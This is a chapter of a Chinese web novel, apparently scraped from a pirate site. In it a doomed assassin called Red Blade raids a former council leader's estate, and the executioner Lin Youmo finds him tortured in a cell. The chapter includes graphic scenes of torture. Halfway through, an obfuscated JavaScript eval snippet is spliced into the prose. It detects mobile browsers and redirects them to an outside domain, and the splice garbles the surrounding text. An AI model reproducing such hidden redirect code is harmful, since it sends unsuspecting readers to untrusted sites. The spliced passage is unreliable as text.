那是一只劣质企鹅钥匙圈,砸在手里,叮铃当啷作响。 过了会儿,他轻轻地松了口气:“前辈。” “嗯。” “你听过生物药剂吗?” “你是说那个靠寿命长短换治愈强度的特效药?药效不定,后遗症极其严重,我听说已经停产禁用了。” “对,我打过十几支了。” 黑衣青年顿了几秒,手一抖,脸色变化:“你……你打那么多会……” 他忽然明白了一切。 “对,十几支。我本来寿命也没剩三五年了,就想做点随心所欲的事情。” 红刀盯着远处从海平面升起的太阳,满足地翘起嘴角,“我现在很喜欢看日出呢,是不是想不到?” 放在以前是想都不敢想的事情。 他的这个愿望普通、朴素、平凡,如果叠成纸鹤投进神殿的神龛里,都不会被天上的神明看一眼。 能被注视到本身就是一种幸运。 而红刀的人生里,已经充满了太多不被偏爱的不幸。 但现在这些都不重要了。 迎着海风,红刀舒了口气。 “对了,前辈,冒昧问一句。” “嗯。” “你会抓六角海星吗?” “……嗯,啊?” …… 高耸的围墙边,安保森严,红刀站在远处的高地,俯瞰下方的地形,口袋里放着黑发青年给的地图与密钥。 红刀混在一群游客之间买了一只甜筒冰淇淋,哼着小曲将准备好的明信片投入邮筒,然后向山下走去。 如果成功的话…… 执刑官会喜欢吗?他的礼物。 他弯了弯眼想。 ** “什么叫做死讯?” 林又茉停下在走廊口,语气平静地询问。 不大的房间内,嘈杂的人群瞬间安静下来。 所有人神色各异地盯着门口,嘴巴紧闭,不明白为什么执刑官会这个时候出现在这里。 这一处属于联邦的办公楼,联邦所属产权,林又茉有时会在这里处理一些撬不开嘴的罪犯,他们没想到现在会看见她。 而且偏偏在这个时候。 不是听说……执刑官要去休假么?要离开三十多天,所有人都像过了节。 有人硬着头皮询问:“您、您说什么?我们没懂您的意思。” 林又茉重复:“你们刚刚在讨论,红刀被判死刑,我需要一个解释。” 底下人脸煞白:“抱歉,执刑官,我们不知道您会在这里……只是内部沟通,没想到……” 一人见林又茉神情微冷,立刻补充:“您别误会,他们是口误!红刀并被判的不是死刑,只是他恶意袭击了高阶官员,被判重刑。” “他违背命令,私闯前任议会长的住宅——那可是前任议会长!那里安保那么森严,除了几十年前的档案之外什么都没有,真的不知道他哪里脑袋坏了,受了谁的指使……” “议会长亲自下达的命令,直接削掉3000信用点——” 听到这里,林又茉转身就走。 “您、你这就走了?!” 一群人惊慌成一团,身后还有人讨好地叫道:“如果您感兴趣,我们可以判决信发给您,您可以留作纪念!——” ** 3000信用点。 扣除3000点信用点。 红刀2814点的信用点,扣除3000,就变成-186点,只剩一个负数。 负数。 负数只有一个下场。 在这个扭曲的社会里,成为一名E级公民意味着什么,林又茉最清楚不过。 像当初那名从天而降被人当垃圾一样拖回家的黄毛青年。 E级,烂泥的等级,金字塔的最底层,意味着可以被任何人命令,可以被任何人欺辱,可以□□任何事,没有反抗的权利。人权、自由权被完全剥离,被践踏、驱使、奴役,更别提她曾在红灯区看到的那些堕落淫.靡的面孔。 那是地狱。 他们曾经说,在第一天被玩死是最好的结果。 那他为什么要潜入前任议会长的宅邸? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15899584|173604||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里有的只有几十年前的档案。 几十年前的档案里有什么?有什么只有前议会长能知道的事情?是什么是在前任议会长眼皮子底下发生,而他必然知道某些内情的事情? 只要那些破不了的悬案,无人找到真相的命案,在资料库里翻到底,都追查不到蛛丝马迹的杀人案。 比如林家的灭门。 林又茉握紧了手中的枪柄,迈进大门内。 “执刑官。” “执刑官日安。” “执刑官,您需不需要我带您……” 林又茉一路大步前进,她很少以这样的架势出面,惊得藏在各种隐匿出的小人物出来跟她巴结问安。 他们又惊疑,又兴奋,又按捺不住。所有人都知道她跟红刀不死不休的死敌,她来到这里,一定是来羞辱昔日的敌人,在他穷途末路时落井下石。 他们才不会阻拦她。 “红刀就在尽头的门里面。” 带路的人激动地全身颤抖:“他只剩最后一口气了,执刑官,您来得正好!” “您知道他们这种人仇家最多,沦落到E级第一件事就是找机会自尽,但我们特意给他打了续命的药——确保他无论怎么样绝对死不了!” 这处监牢的人都涌上来,炫耀他们的本事,人人都想在执刑官面前露脸。 想想这是多好的机会!平步青云的机会就在眼前,每一个人都凑上来,语气得意、眼神发亮,使出浑身解数轮番讲述自己如何对待红刀——怎么拷他,怎么折辱他,怎么把他吊起来晾干,怎么不给他食物和水,怎么扒他的皮放他的血,洋洋自得地夸耀着各式羞辱和酷刑的手段,只为向尊贵的执刑官表功邀赏。 “我们做得好吗?执刑官?” “我们做得好吗?您觉得我们做得好吗?” 林又茉迈步到厚重的铁门前,停住了。 有一名戴着黑色面具的守卫沉默地站在门前。他配着枪,携带着一把刀。 “你是议会的人?”林又茉道,“滚开。” 守卫让开了门。 厚重的大门在身后合拢,将那些巴结奉承的喧嚣声一并隔绝在外。他们尖叫着欢呼,以为好戏要上演,以为执刑官不过是急着欣赏死敌的惨状。 黑面具守卫一同进入了门内,似乎是要监视。 门砰地一声合上。 …… 她看见了红刀。 林又茉听到血液在太阳穴里鼓胀,她看过太多的血腥的场面,四肢残缺、缺斤少两、血肉分离,喷出的血能撒满天花板。 而红刀与他们不遑相让。 浑身血污、狼狈不堪。双手被分开钉在墙上,手腕高悬,黑发垂下,滴落着黏腻的血渍。 几乎听不到呼吸。 林又茉站在他面前。 她说:“红刀。” 在许久前,她也曾经这样俯视他。 那时的他像一只濒死的猫。 红刀毫无反应。林又茉垂眼看他。她又叫:“红刀。” 他又快死了。但喉咙处卡得那道圆环,闪烁一道绿光,电流走过他僵硬的身体,让他震颤,强行将他从死亡边缘拉回,吊上一口气。 不让解脱。 她按上他的喉咙。 过了许久,那双失焦的桃花眼,终于慢慢地睁开。 他似乎认不得她,又认得她。 但最后,他还是认出来了。 红艳的唇边带着血痕,嘶哑地笑了一声。 “执刑官啊……” 他弯了弯那双桃花眼,很轻, “我想到冬天去什么地方了。”